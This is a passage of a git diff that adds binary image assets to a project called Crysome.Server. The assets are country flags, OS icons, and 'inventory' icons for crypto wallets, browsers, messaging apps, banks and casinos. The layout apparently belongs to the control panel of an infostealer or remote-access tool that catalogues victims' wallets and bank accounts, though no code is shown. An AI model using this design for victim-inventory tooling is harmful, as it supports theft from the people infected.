a/Crysome.Server/flags/SZ.png b/Crysome.Server/flags/SZ.png new file mode 100644 index 0000000..3cd8c0e Binary files /dev/null and b/Crysome.Server/flags/SZ.png differ diff --git a/Crysome.Server/flags/SZ@2x.png b/Crysome.Server/flags/SZ@2x.png new file mode 100644 index 0000000..341090c Binary files /dev/null and b/Crysome.Server/flags/SZ@2x.png differ diff --git a/Crysome.Server/flags/SZ@3x.png b/Crysome.Server/flags/SZ@3x.png new file mode 100644 index 0000000..1301068 Binary files /dev/null and b/Crysome.Server/flags/SZ@3x.png differ diff --git a/Crysome.Server/flags/TC.png b/Crysome.Server/flags/TC.png new file mode 100644 index 0000000..2ae306c Binary files /dev/null and b/Crysome.Server/flags/TC.png differ diff --git a/Crysome.Server/flags/TC@2x.png b/Crysome.Server/flags/TC@2x.png new file mode 100644 index 0000000..1ad0da2 Binary files /dev/null and b/Crysome.Server/flags/TC@2x.png differ diff --git a/Crysome.Server/flags/TC@3x.png b/Crysome.Server/flags/TC@3x.png new file mode 100644 index 0000000..108b7ed Binary files /dev/null and b/Crysome.Server/flags/TC@3x.png differ diff --git a/Crysome.Server/flags/TD.png b/Crysome.Server/flags/TD.png new file mode 100644 index 0000000..9d77248 Binary files /dev/null and b/Crysome.Server/flags/TD.png differ diff --git a/Crysome.Server/flags/TD@2x.png b/Crysome.Server/flags/TD@2x.png new file mode 100644 index 0000000..18c8e1b Binary files /dev/null and b/Crysome.Server/flags/TD@2x.png differ diff --git a/Crysome.Server/flags/TD@3x.png b/Crysome.Server/flags/TD@3x.png new file mode 100644 index 0000000..73b91d7 Binary files /dev/null and b/Crysome.Server/flags/TD@3x.png differ diff --git a/Crysome.Server/flags/TF.png b/Crysome.Server/flags/TF.png new file mode 100644 index 0000000..f994602 Binary files /dev/null and b/Crysome.Server/flags/TF.png differ diff --git a/Crysome.Server/flags/TF@2x.png b/Crysome.Server/flags/TF@2x.png new file mode 100644 index 0000000..619ff1f Binary files /dev/null and b/Crysome.Server/flags/TF@2x.png differ diff --git a/Crysome.Server/flags/TF@3x.png b/Crysome.Server/flags/TF@3x.png new file mode 100644 index 0000000..05e58e1 Binary files /dev/null and b/Crysome.Server/flags/TF@3x.png differ diff --git a/Crysome.Server/flags/TG.png b/Crysome.Server/flags/TG.png new file mode 100644 index 0000000..f237cb4 Binary files /dev/null and b/Crysome.Server/flags/TG.png differ diff --git a/Crysome.Server/flags/TG@2x.png b/Crysome.Server/flags/TG@2x.png new file mode 100644 index 0000000..73cef0c Binary files /dev/null and b/Crysome.Server/flags/TG@2x.png differ diff --git a/Crysome.Server/flags/TG@3x.png b/Crysome.Server/flags/TG@3x.png new file mode 100644 index 0000000..0905991 Binary files /dev/null and b/Crysome.Server/flags/TG@3x.png differ diff --git a/Crysome.Server/flags/TH.png b/Crysome.Server/flags/TH.png new file mode 100644 index 0000000..885af32 Binary files /dev/null and b/Crysome.Server/flags/TH.png differ diff --git a/Crysome.Server/flags/TH@2x.png b/Crysome.Server/flags/TH@2x.png new file mode 100644 index 0000000..f842507 Binary files /dev/null and b/Crysome.Server/flags/TH@2x.png differ diff --git a/Crysome.Server/flags/TH@3x.png b/Crysome.Server/flags/TH@3x.png new file mode 100644 index 0000000..1868ecd Binary files /dev/null and b/Crysome.Server/flags/TH@3x.png differ diff --git a/Crysome.Server/flags/TJ.png b/Crysome.Server/flags/TJ.png new file mode 100644 index 0000000..8b73cf8 Binary files /dev/null and b/Crysome.Server/flags/TJ.png differ diff --git a/Crysome.Server/flags/TJ@2x.png b/Crysome.Server/flags/TJ@2x.png new file mode 100644 index 0000000..403b63e Binary files /dev/null and b/Crysome.Server/flags/TJ@2x.png differ diff --git a/Crysome.Server/flags/TJ@3x.png b/Crysome.Server/flags/TJ@3x.png new file mode 100644 index 0000000..a68b169 Binary files /dev/null and b/Crysome.Server/flags/TJ@3x.png differ diff --git a/Crysome.Server/flags/TK.png b/Crysome.Server/flags/TK.png new file mode 100644 index 0000000..f3b68fa Binary files /dev/null and b/Crysome.Server/flags/TK.png differ diff --git a/Crysome.Server/flags/TK@2x.png b/Crysome.Server/flags/TK@2x.png new file mode 100644 index 0000000..36a6359 Binary files /dev/null and b/Crysome.Server/flags/TK@2x.png differ diff --git a/Crysome.Server/flags/TK@3x.png b/Crysome.Server/flags/TK@3x.png new file mode 100644 index 0000000..0b6ab1b Binary files /dev/null and b/Crysome.Server/flags/TK@3x.png differ diff --git a/Crysome.Server/flags/TL.png b/Crysome.Server/flags/TL.png new file mode 100644 index 0000000..960e7a5 Binary files /dev/null and b/Crysome.Server/flags/TL.png differ diff --git a/Crysome.Server/flags/TL@2x.png b/Crysome.Server/flags/TL@2x.png new file mode 100644 index 0000000..e312e67 Binary files /dev/null and b/Crysome.Server/flags/TL@2x.png differ diff --git a/Crysome.Server/flags/TL@3x.png b/Crysome.Server/flags/TL@3x.png new file mode 100644 index 0000000..9e601ef Binary files /dev/null and b/Crysome.Server/flags/TL@3x.png differ diff --git a/Crysome.Server/flags/TM.png b/Crysome.Server/flags/TM.png new file mode 100644 index 0000000..7c6df36 Binary files /dev/null and b/Crysome.Server/flags/TM.png differ diff --git a/Crysome.Server/flags/TM@2x.png b/Crysome.Server/flags/TM@2x.png new file mode 100644 index 0000000..8217ddc Binary files /dev/null and b/Crysome.Server/flags/TM@2x.png differ diff --git a/Crysome.Server/flags/TM@3x.png b/Crysome.Server/flags/TM@3x.png new file mode 100644 index 0000000..a4323ce Binary files /dev/null and b/Crysome.Server/flags/TM@3x.png differ diff --git a/Crysome.Server/flags/TN.png b/Crysome.Server/flags/TN.png new file mode 100644 index 0000000..f841833 Binary files /dev/null and b/Crysome.Server/flags/TN.png differ diff --git a/Crysome.Server/flags/TN@2x.png b/Crysome.Server/flags/TN@2x.png new file mode 100644 index 0000000..c97c9af Binary files /dev/null and b/Crysome.Server/flags/TN@2x.png differ diff --git a/Crysome.Server/flags/TN@3x.png b/Crysome.Server/flags/TN@3x.png new file mode 100644 index 0000000..6c46b4b Binary files /dev/null and b/Crysome.Server/flags/TN@3x.png differ diff --git a/Crysome.Server/flags/TO.png b/Crysome.Server/flags/TO.png new file mode 100644 index 0000000..f72335b Binary files /dev/null and b/Crysome.Server/flags/TO.png differ diff --git a/Crysome.Server/flags/TO@2x.png b/Crysome.Server/flags/TO@2x.png new file mode 100644 index 0000000..4bfca2b Binary files /dev/null and b/Crysome.Server/flags/TO@2x.png differ diff --git a/Crysome.Server/flags/TO@3x.png b/Crysome.Server/flags/TO@3x.png new file mode 100644 index 0000000..8c3c8ff Binary files /dev/null and b/Crysome.Server/flags/TO@3x.png differ diff --git a/Crysome.Server/flags/TR.png b/Crysome.Server/flags/TR.png new file mode 100644 index 0000000..6a6583b Binary files /dev/null and b/Crysome.Server/flags/TR.png differ diff --git a/Crysome.Server/flags/TR@2x.png b/Crysome.Server/flags/TR@2x.png new file mode 100644 index 0000000..e764162 Binary files /dev/null and b/Crysome.Server/flags/TR@2x.png differ diff --git a/Crysome.Server/flags/TR@3x.png b/Crysome.Server/flags/TR@3x.png new file mode 100644 index 0000000..135867a Binary files /dev/null and b/Crysome.Server/flags/TR@3x.png differ diff --git a/Crysome.Server/flags/TT.png b/Crysome.Server/flags/TT.png new file mode 100644 index 0000000..3f98602 Binary files /dev/null and b/Crysome.Server/flags/TT.png differ diff --git a/Crysome.Server/flags/TT@2x.png b/Crysome.Server/flags/TT@2x.png new file mode 100644 index 0000000..2d6ced6 Binary files /dev/null and b/Crysome.Server/flags/TT@2x.png differ diff --git a/Crysome.Server/flags/TT@3x.png b/Crysome.Server/flags/TT@3x.png new file mode 100644 index 0000000..e1a3ae6 Binary files /dev/null and b/Crysome.Server/flags/TT@3x.png differ diff --git a/Crysome.Server/flags/TV.png b/Crysome.Server/flags/TV.png new file mode 100644 index 0000000..9055cd3 Binary files /dev/null and b/Crysome.Server/flags/TV.png differ diff --git a/Crysome.Server/flags/TV@2x.png b/Crysome.Server/flags/TV@2x.png new file mode 100644 index 0000000..8f16995 Binary files /dev/null and b/Crysome.Server/flags/TV@2x.png differ diff --git a/Crysome.Server/flags/TV@3x.png b/Crysome.Server/flags/TV@3x.png new file mode 100644 index 0000000..14454fe Binary files /dev/null and b/Crysome.Server/flags/TV@3x.png differ diff --git a/Crysome.Server/flags/TW.png b/Crysome.Server/flags/TW.png new file mode 100644 index 0000000..dab248f Binary files /dev/null and b/Crysome.Server/flags/TW.png differ diff --git a/Crysome.Server/flags/TW@2x.png b/Crysome.Server/flags/TW@2x.png new file mode 100644 index 0000000..4bb14b9 Binary files /dev/null and b/Crysome.Server/flags/TW@2x.png differ diff --git a/Crysome.Server/flags/TW@3x.png b/Crysome.Server/flags/TW@3x.png new file mode 100644 index 0000000..d6af318 Binary files /dev/null and b/Crysome.Server/flags/TW@3x.png differ diff --git a/Crysome.Server/flags/TZ.png b/Crysome.Server/flags/TZ.png new file mode 100644 index 0000000..ed4bd8c Binary files /dev/null and b/Crysome.Server/flags/TZ.png differ diff --git a/Crysome.Server/flags/TZ@2x.png b/Crysome.Server/flags/TZ@2x.png new file mode 100644 index 0000000..98477c2 Binary files /dev/null and b/Crysome.Server/flags/TZ@2x.png differ diff --git a/Crysome.Server/flags/TZ@3x.png b/Crysome.Server/flags/TZ@3x.png new file mode 100644 index 0000000..48d8210 Binary files /dev/null and b/Crysome.Server/flags/TZ@3x.png differ diff --git a/Crysome.Server/flags/UA.png b/Crysome.Server/flags/UA.png new file mode 100644 index 0000000..98e77dd Binary files /dev/null and b/Crysome.Server/flags/UA.png differ diff --git a/Crysome.Server/flags/UA@2x.png b/Crysome.Server/flags/UA@2x.png new file mode 100644 index 0000000..3caa571 Binary files /dev/null and b/Crysome.Server/flags/UA@2x.png differ diff --git a/Crysome.Server/flags/UA@3x.png b/Crysome.Server/flags/UA@3x.png new file mode 100644 index 0000000..1deb016 Binary files /dev/null and b/Crysome.Server/flags/UA@3x.png differ diff --git a/Crysome.Server/flags/UG.png b/Crysome.Server/flags/UG.png new file mode 100644 index 0000000..eb8e95b Binary files /dev/null and b/Crysome.Server/flags/UG.png differ diff --git a/Crysome.Server/flags/UG@2x.png b/Crysome.Server/flags/UG@2x.png new file mode 100644 index 0000000..44ed5be Binary files /dev/null and b/Crysome.Server/flags/UG@2x.png differ diff --git a/Crysome.Server/flags/UG@3x.png b/Crysome.Server/flags/UG@3x.png new file mode 100644 index 0000000..a65c280 Binary files /dev/null and b/Crysome.Server/flags/UG@3x.png differ diff --git a/Crysome.Server/flags/UM.png b/Crysome.Server/flags/UM.png new file mode 100644 index 0000000..a0a9edc Binary files /dev/null and b/Crysome.Server/flags/UM.png differ diff --git a/Crysome.Server/flags/UM@2x.png b/Crysome.Server/flags/UM@2x.png new file mode 100644 index 0000000..c7b161f Binary files /dev/null and b/Crysome.Server/flags/UM@2x.png differ diff --git a/Crysome.Server/flags/UM@3x.png b/Crysome.Server/flags/UM@3x.png new file mode 100644 index 0000000..11718d0 Binary files /dev/null and b/Crysome.Server/flags/UM@3x.png differ diff --git a/Crysome.Server/flags/US-CA.png b/Crysome.Server/flags/US-CA.png new file mode 100644 index 0000000..f17beec Binary files /dev/null and b/Crysome.Server/flags/US-CA.png differ diff --git a/Crysome.Server/flags/US-CA@2x.png b/Crysome.Server/flags/US-CA@2x.png new file mode 100644 index 0000000..639f1b8 Binary files /dev/null and b/Crysome.Server/flags/US-CA@2x.png differ diff --git a/Crysome.Server/flags/US-CA@3x.png b/Crysome.Server/flags/US-CA@3x.png new file mode 100644 index 0000000..f522839 Binary files /dev/null and b/Crysome.Server/flags/US-CA@3x.png differ diff --git a/Crysome.Server/flags/US.png b/Crysome.Server/flags/US.png new file mode 100644 index 0000000..a0a9edc Binary files /dev/null and b/Crysome.Server/flags/US.png differ diff --git a/Crysome.Server/flags/US@2x.png b/Crysome.Server/flags/US@2x.png new file mode 100644 index 0000000..c7b161f Binary files /dev/null and b/Crysome.Server/flags/US@2x.png differ diff --git a/Crysome.Server/flags/US@3x.png b/Crysome.Server/flags/US@3x.png new file mode 100644 index 0000000..11718d0 Binary files /dev/null and b/Crysome.Server/flags/US@3x.png differ diff --git a/Crysome.Server/flags/UY.png b/Crysome.Server/flags/UY.png new file mode 100644 index 0000000..ed9c116 Binary files /dev/null and b/Crysome.Server/flags/UY.png differ diff --git a/Crysome.Server/flags/UY@2x.png b/Crysome.Server/flags/UY@2x.png new file mode 100644 index 0000000..b223b34 Binary files /dev/null and b/Crysome.Server/flags/UY@2x.png differ diff --git a/Crysome.Server/flags/UY@3x.png b/Crysome.Server/flags/UY@3x.png new file mode 100644 index 0000000..94bbf22 Binary files /dev/null and b/Crysome.Server/flags/UY@3x.png differ diff --git a/Crysome.Server/flags/UZ.png b/Crysome.Server/flags/UZ.png new file mode 100644 index 0000000..ec58678 Binary files /dev/null and b/Crysome.Server/flags/UZ.png differ diff --git a/Crysome.Server/flags/UZ@2x.png b/Crysome.Server/flags/UZ@2x.png new file mode 100644 index 0000000..6dd9fb5 Binary files /dev/null and b/Crysome.Server/flags/UZ@2x.png differ diff --git a/Crysome.Server/flags/UZ@3x.png b/Crysome.Server/flags/UZ@3x.png new file mode 100644 index 0000000..d5beb2e Binary files /dev/null and b/Crysome.Server/flags/UZ@3x.png differ diff --git a/Crysome.Server/flags/VA.png b/Crysome.Server/flags/VA.png new file mode 100644 index 0000000..7b32f7a Binary files /dev/null and b/Crysome.Server/flags/VA.png differ diff --git a/Crysome.Server/flags/VA@2x.png b/Crysome.Server/flags/VA@2x.png new file mode 100644 index 0000000..e929118 Binary files /dev/null and b/Crysome.Server/flags/VA@2x.png differ diff --git a/Crysome.Server/flags/VA@3x.png b/Crysome.Server/flags/VA@3x.png new file mode 100644 index 0000000..898f45a Binary files /dev/null and b/Crysome.Server/flags/VA@3x.png differ diff --git a/Crysome.Server/flags/VC.png b/Crysome.Server/flags/VC.png new file mode 100644 index 0000000..ba1cea9 Binary files /dev/null and b/Crysome.Server/flags/VC.png differ diff --git a/Crysome.Server/flags/VC@2x.png b/Crysome.Server/flags/VC@2x.png new file mode 100644 index 0000000..c133fe6 Binary files /dev/null and b/Crysome.Server/flags/VC@2x.png differ diff --git a/Crysome.Server/flags/VC@3x.png b/Crysome.Server/flags/VC@3x.png new file mode 100644 index 0000000..1c62a4d Binary files /dev/null and b/Crysome.Server/flags/VC@3x.png differ diff --git a/Crysome.Server/flags/VE.png b/Crysome.Server/flags/VE.png new file mode 100644 index 0000000..7e2c5a2 Binary files /dev/null and b/Crysome.Server/flags/VE.png differ diff --git a/Crysome.Server/flags/VE@2x.png b/Crysome.Server/flags/VE@2x.png new file mode 100644 index 0000000..e3526d3 Binary files /dev/null and b/Crysome.Server/flags/VE@2x.png differ diff --git a/Crysome.Server/flags/VE@3x.png b/Crysome.Server/flags/VE@3x.png new file mode 100644 index 0000000..86577d7 Binary files /dev/null and b/Crysome.Server/flags/VE@3x.png differ diff --git a/Crysome.Server/flags/VG.png b/Crysome.Server/flags/VG.png new file mode 100644 index 0000000..0950445 Binary files /dev/null and b/Crysome.Server/flags/VG.png differ diff --git a/Crysome.Server/flags/VG@2x.png b/Crysome.Server/flags/VG@2x.png new file mode 100644 index 0000000..7ee20ae Binary files /dev/null and b/Crysome.Server/flags/VG@2x.png differ diff --git a/Crysome.Server/flags/VG@3x.png b/Crysome.Server/flags/VG@3x.png new file mode 100644 index 0000000..e0a8c6d Binary files /dev/null and b/Crysome.Server/flags/VG@3x.png differ diff --git a/Crysome.Server/flags/VI.png b/Crysome.Server/flags/VI.png new file mode 100644 index 0000000..48ce140 Binary files /dev/null and b/Crysome.Server/flags/VI.png differ diff --git a/Crysome.Server/flags/VI@2x.png b/Crysome.Server/flags/VI@2x.png new file mode 100644 index 0000000..b2febc1 Binary files /dev/null and b/Crysome.Server/flags/VI@2x.png differ diff --git a/Crysome.Server/flags/VI@3x.png b/Crysome.Server/flags/VI@3x.png new file mode 100644 index 0000000..d4317ef Binary files /dev/null and b/Crysome.Server/flags/VI@3x.png differ diff --git a/Crysome.Server/flags/VN.png b/Crysome.Server/flags/VN.png new file mode 100644 index 0000000..bc1677d Binary files /dev/null and b/Crysome.Server/flags/VN.png differ diff --git a/Crysome.Server/flags/VN@2x.png b/Crysome.Server/flags/VN@2x.png new file mode 100644 index 0000000..f1ccc81 Binary files /dev/null and b/Crysome.Server/flags/VN@2x.png differ diff --git a/Crysome.Server/flags/VN@3x.png b/Crysome.Server/flags/VN@3x.png new file mode 100644 index 0000000..309e610 Binary files /dev/null and b/Crysome.Server/flags/VN@3x.png differ diff --git a/Crysome.Server/flags/VU.png b/Crysome.Server/flags/VU.png new file mode 100644 index 0000000..16b1d66 Binary files /dev/null and b/Crysome.Server/flags/VU.png differ diff --git a/Crysome.Server/flags/VU@2x.png b/Crysome.Server/flags/VU@2x.png new file mode 100644 index 0000000..b3342f8 Binary files /dev/null and b/Crysome.Server/flags/VU@2x.png differ diff --git a/Crysome.Server/flags/VU@3x.png b/Crysome.Server/flags/VU@3x.png new file mode 100644 index 0000000..513a355 Binary files /dev/null and b/Crysome.Server/flags/VU@3x.png differ diff --git a/Crysome.Server/flags/WF.png b/Crysome.Server/flags/WF.png new file mode 100644 index 0000000..2fd4c6a Binary files /dev/null and b/Crysome.Server/flags/WF.png differ diff --git a/Crysome.Server/flags/WF@2x.png b/Crysome.Server/flags/WF@2x.png new file mode 100644 index 0000000..720839f Binary files /dev/null and b/Crysome.Server/flags/WF@2x.png differ diff --git a/Crysome.Server/flags/WF@3x.png b/Crysome.Server/flags/WF@3x.png new file mode 100644 index 0000000..1de1b75 Binary files /dev/null and b/Crysome.Server/flags/WF@3x.png differ diff --git a/Crysome.Server/flags/WS.png b/Crysome.Server/flags/WS.png new file mode 100644 index 0000000..14e2144 Binary files /dev/null and b/Crysome.Server/flags/WS.png differ diff --git a/Crysome.Server/flags/WS@2x.png b/Crysome.Server/flags/WS@2x.png new file mode 100644 index 0000000..ca759c1 Binary files /dev/null and b/Crysome.Server/flags/WS@2x.png differ diff --git a/Crysome.Server/flags/WS@3x.png b/Crysome.Server/flags/WS@3x.png new file mode 100644 index 0000000..3d51ad7 Binary files /dev/null and b/Crysome.Server/flags/WS@3x.png differ diff --git a/Crysome.Server/flags/WW.png b/Crysome.Server/flags/WW.png new file mode 100644 index 0000000..765e248 Binary files /dev/null and b/Crysome.Server/flags/WW.png differ diff --git a/Crysome.Server/flags/XK.png b/Crysome.Server/flags/XK.png new file mode 100644 index 0000000..c885408 Binary files /dev/null and b/Crysome.Server/flags/XK.png differ diff --git a/Crysome.Server/flags/XK@2x.png b/Crysome.Server/flags/XK@2x.png new file mode 100644 index 0000000..198681c Binary files /dev/null and b/Crysome.Server/flags/XK@2x.png differ diff --git a/Crysome.Server/flags/XK@3x.png b/Crysome.Server/flags/XK@3x.png new file mode 100644 index 0000000..9ff8b22 Binary files /dev/null and b/Crysome.Server/flags/XK@3x.png differ diff --git a/Crysome.Server/flags/YE.png b/Crysome.Server/flags/YE.png new file mode 100644 index 0000000..817c6a4 Binary files /dev/null and b/Crysome.Server/flags/YE.png differ diff --git a/Crysome.Server/flags/YE@2x.png b/Crysome.Server/flags/YE@2x.png new file mode 100644 index 0000000..442f3ee Binary files /dev/null and b/Crysome.Server/flags/YE@2x.png differ diff --git a/Crysome.Server/flags/YE@3x.png b/Crysome.Server/flags/YE@3x.png new file mode 100644 index 0000000..7e3cf7c Binary files /dev/null and b/Crysome.Server/flags/YE@3x.png differ diff --git a/Crysome.Server/flags/YT.png b/Crysome.Server/flags/YT.png new file mode 100644 index 0000000..f919870 Binary files /dev/null and b/Crysome.Server/flags/YT.png differ diff --git a/Crysome.Server/flags/YT@2x.png b/Crysome.Server/flags/YT@2x.png new file mode 100644 index 0000000..5eadd62 Binary files /dev/null and b/Crysome.Server/flags/YT@2x.png differ diff --git a/Crysome.Server/flags/YT@3x.png b/Crysome.Server/flags/YT@3x.png new file mode 100644 index 0000000..a352c22 Binary files /dev/null and b/Crysome.Server/flags/YT@3x.png differ diff --git a/Crysome.Server/flags/ZA.png b/Crysome.Server/flags/ZA.png new file mode 100644 index 0000000..14c7815 Binary files /dev/null and b/Crysome.Server/flags/ZA.png differ diff --git a/Crysome.Server/flags/ZA@2x.png b/Crysome.Server/flags/ZA@2x.png new file mode 100644 index 0000000..948603e Binary files /dev/null and b/Crysome.Server/flags/ZA@2x.png differ diff --git a/Crysome.Server/flags/ZA@3x.png b/Crysome.Server/flags/ZA@3x.png new file mode 100644 index 0000000..5355e89 Binary files /dev/null and b/Crysome.Server/flags/ZA@3x.png differ diff --git a/Crysome.Server/flags/ZM.png b/Crysome.Server/flags/ZM.png new file mode 100644 index 0000000..3131387 Binary files /dev/null and b/Crysome.Server/flags/ZM.png differ diff --git a/Crysome.Server/flags/ZM@2x.png b/Crysome.Server/flags/ZM@2x.png new file mode 100644 index 0000000..69feef9 Binary files /dev/null and b/Crysome.Server/flags/ZM@2x.png differ diff --git a/Crysome.Server/flags/ZM@3x.png b/Crysome.Server/flags/ZM@3x.png new file mode 100644 index 0000000..74d7a60 Binary files /dev/null and b/Crysome.Server/flags/ZM@3x.png differ diff --git a/Crysome.Server/flags/ZW.png b/Crysome.Server/flags/ZW.png new file mode 100644 index 0000000..f21684f Binary files /dev/null and b/Crysome.Server/flags/ZW.png differ diff --git a/Crysome.Server/flags/ZW@2x.png b/Crysome.Server/flags/ZW@2x.png new file mode 100644 index 0000000..6b6e193 Binary files /dev/null and b/Crysome.Server/flags/ZW@2x.png differ diff --git a/Crysome.Server/flags/ZW@3x.png b/Crysome.Server/flags/ZW@3x.png new file mode 100644 index 0000000..e57bd7d Binary files /dev/null and b/Crysome.Server/flags/ZW@3x.png differ diff --git a/Crysome.Server/icons/linux.png b/Crysome.Server/icons/linux.png new file mode 100644 index 0000000..c7de7e1 Binary files /dev/null and b/Crysome.Server/icons/linux.png differ diff --git a/Crysome.Server/icons/proxy.png b/Crysome.Server/icons/proxy.png new file mode 100644 index 0000000..db604ee Binary files /dev/null and b/Crysome.Server/icons/proxy.png differ diff --git a/Crysome.Server/icons/windows10.png b/Crysome.Server/icons/windows10.png new file mode 100644 index 0000000..64c9c70 Binary files /dev/null and b/Crysome.Server/icons/windows10.png differ diff --git a/Crysome.Server/icons/windows11.png b/Crysome.Server/icons/windows11.png new file mode 100644 index 0000000..0780306 Binary files /dev/null and b/Crysome.Server/icons/windows11.png differ diff --git a/Crysome.Server/icons/windows7.png b/Crysome.Server/icons/windows7.png new file mode 100644 index 0000000..f630cac Binary files /dev/null and b/Crysome.Server/icons/windows7.png differ diff --git a/Crysome.Server/icons/windows81.png b/Crysome.Server/icons/windows81.png new file mode 100644 index 0000000..e86e7fe Binary files /dev/null and b/Crysome.Server/icons/windows81.png differ diff --git a/Crysome.Server/icons/windowsxp.png b/Crysome.Server/icons/windowsxp.png new file mode 100644 index 0000000..7ebf78d Binary files /dev/null and b/Crysome.Server/icons/windowsxp.png differ diff --git a/Crysome.Server/inventory/apps/atomic.png b/Crysome.Server/inventory/apps/atomic.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/Crysome.Server/inventory/apps/atomic.png differ diff --git a/Crysome.Server/inventory/apps/binance.png b/Crysome.Server/inventory/apps/binance.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/Crysome.Server/inventory/apps/binance.png differ diff --git a/Crysome.Server/inventory/apps/brave.png b/Crysome.Server/inventory/apps/brave.png new file mode 100644 index 0000000..d751346 Binary files /dev/null and b/Crysome.Server/inventory/apps/brave.png differ diff --git a/Crysome.Server/inventory/apps/chrome.png b/Crysome.Server/inventory/apps/chrome.png new file mode 100644 index 0000000..0106c28 Binary files /dev/null and b/Crysome.Server/inventory/apps/chrome.png differ diff --git a/Crysome.Server/inventory/apps/discord.png b/Crysome.Server/inventory/apps/discord.png new file mode 100644 index 0000000..4ea22e4 Binary files /dev/null and b/Crysome.Server/inventory/apps/discord.png differ diff --git a/Crysome.Server/inventory/apps/edge.png b/Crysome.Server/inventory/apps/edge.png new file mode 100644 index 0000000..daf69d4 Binary files /dev/null and b/Crysome.Server/inventory/apps/edge.png differ diff --git a/Crysome.Server/inventory/apps/electrum.png b/Crysome.Server/inventory/apps/electrum.png new file mode 100644 index 0000000..68188f8 Binary files /dev/null and b/Crysome.Server/inventory/apps/electrum.png differ diff --git a/Crysome.Server/inventory/apps/exodus.png b/Crysome.Server/inventory/apps/exodus.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/Crysome.Server/inventory/apps/exodus.png differ diff --git a/Crysome.Server/inventory/apps/firefox.png b/Crysome.Server/inventory/apps/firefox.png new file mode 100644 index 0000000..c90cb69 Binary files /dev/null and b/Crysome.Server/inventory/apps/firefox.png differ diff --git a/Crysome.Server/inventory/apps/metamask.png b/Crysome.Server/inventory/apps/metamask.png new file mode 100644 index 0000000..1810f27 Binary files /dev/null and b/Crysome.Server/inventory/apps/metamask.png differ diff --git a/Crysome.Server/inventory/apps/notepad_plus_plus.png b/Crysome.Server/inventory/apps/notepad_plus_plus.png new file mode 100644 index 0000000..33bbe66 Binary files /dev/null and b/Crysome.Server/inventory/apps/notepad_plus_plus.png differ diff --git a/Crysome.Server/inventory/apps/opera.png b/Crysome.Server/inventory/apps/opera.png new file mode 100644 index 0000000..6ab041c Binary files /dev/null and b/Crysome.Server/inventory/apps/opera.png differ diff --git a/Crysome.Server/inventory/apps/python.png b/Crysome.Server/inventory/apps/python.png new file mode 100644 index 0000000..9d75d7f Binary files /dev/null and b/Crysome.Server/inventory/apps/python.png differ diff --git a/Crysome.Server/inventory/apps/slack.png b/Crysome.Server/inventory/apps/slack.png new file mode 100644 index 0000000..4fb495a Binary files /dev/null and b/Crysome.Server/inventory/apps/slack.png differ diff --git a/Crysome.Server/inventory/apps/steam.png b/Crysome.Server/inventory/apps/steam.png new file mode 100644 index 0000000..e6e4881 Binary files /dev/null and b/Crysome.Server/inventory/apps/steam.png differ diff --git a/Crysome.Server/inventory/apps/telegram.png b/Crysome.Server/inventory/apps/telegram.png new file mode 100644 index 0000000..696e521 Binary files /dev/null and b/Crysome.Server/inventory/apps/telegram.png differ diff --git a/Crysome.Server/inventory/apps/vlc.png b/Crysome.Server/inventory/apps/vlc.png new file mode 100644 index 0000000..8d6c8b4 Binary files /dev/null and b/Crysome.Server/inventory/apps/vlc.png differ diff --git a/Crysome.Server/inventory/apps/vscode.png b/Crysome.Server/inventory/apps/vscode.png new file mode 100644 index 0000000..ac6544b Binary files /dev/null and b/Crysome.Server/inventory/apps/vscode.png differ diff --git a/Crysome.Server/inventory/apps/whatsapp.png b/Crysome.Server/inventory/apps/whatsapp.png new file mode 100644 index 0000000..2a559d8 Binary files /dev/null and b/Crysome.Server/inventory/apps/whatsapp.png differ diff --git a/Crysome.Server/inventory/apps/zoom.png b/Crysome.Server/inventory/apps/zoom.png new file mode 100644 index 0000000..498ddcd Binary files /dev/null and b/Crysome.Server/inventory/apps/zoom.png differ diff --git a/Crysome.Server/inventory/banks/bankofamerica.png b/Crysome.Server/inventory/banks/bankofamerica.png new file mode 100644 index 0000000..887e353 Binary files /dev/null and b/Crysome.Server/inventory/banks/bankofamerica.png differ diff --git a/Crysome.Server/inventory/banks/binance.png b/Crysome.Server/inventory/banks/binance.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/Crysome.Server/inventory/banks/binance.png differ diff --git a/Crysome.Server/inventory/banks/capitalone.png b/Crysome.Server/inventory/banks/capitalone.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/Crysome.Server/inventory/banks/capitalone.png differ diff --git a/Crysome.Server/inventory/banks/cashapp.png b/Crysome.Server/inventory/banks/cashapp.png new file mode 100644 index 0000000..e7e6dea Binary files /dev/null and b/Crysome.Server/inventory/banks/cashapp.png differ diff --git a/Crysome.Server/inventory/banks/chase.png b/Crysome.Server/inventory/banks/chase.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/Crysome.Server/inventory/banks/chase.png differ diff --git a/Crysome.Server/inventory/banks/citibank.png b/Crysome.Server/inventory/banks/citibank.png new file mode 100644 index 0000000..8c295bd Binary files /dev/null and b/Crysome.Server/inventory/banks/citibank.png differ diff --git a/Crysome.Server/inventory/banks/coinbase_bank.png b/Crysome.Server/inventory/banks/coinbase_bank.png new file mode 100644 index 0000000..3d6b873 Binary files /dev/null and b/Crysome.Server/inventory/banks/coinbase_bank.png differ diff --git a/Crysome.Server/inventory/banks/kraken.png b/Crysome.Server/inventory/banks/kraken.png new file mode 100644 index 0000000..ee6148b Binary files /dev/null and b/Crysome.Server/inventory/banks/kraken.png differ diff --git a/Crysome.Server/inventory/banks/paypal.png b/Crysome.Server/inventory/banks/paypal.png new file mode 100644 index 0000000..d4e5fd2 Binary files /dev/null and b/Crysome.Server/inventory/banks/paypal.png differ diff --git a/Crysome.Server/inventory/banks/robinhood.png b/Crysome.Server/inventory/banks/robinhood.png new file mode 100644 index 0000000..7c0a94a Binary files /dev/null and b/Crysome.Server/inventory/banks/robinhood.png differ diff --git a/Crysome.Server/inventory/banks/usbank.png b/Crysome.Server/inventory/banks/usbank.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/Crysome.Server/inventory/banks/usbank.png differ diff --git a/Crysome.Server/inventory/banks/venmo.png b/Crysome.Server/inventory/banks/venmo.png new file mode 100644 index 0000000..ee6148b Binary files /dev/null and b/Crysome.Server/inventory/banks/venmo.png differ diff --git a/Crysome.Server/inventory/banks/wellsfargo.png b/Crysome.Server/inventory/banks/wellsfargo.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/Crysome.Server/inventory/banks/wellsfargo.png differ diff --git a/Crysome.Server/inventory/casinos/1xbet.png 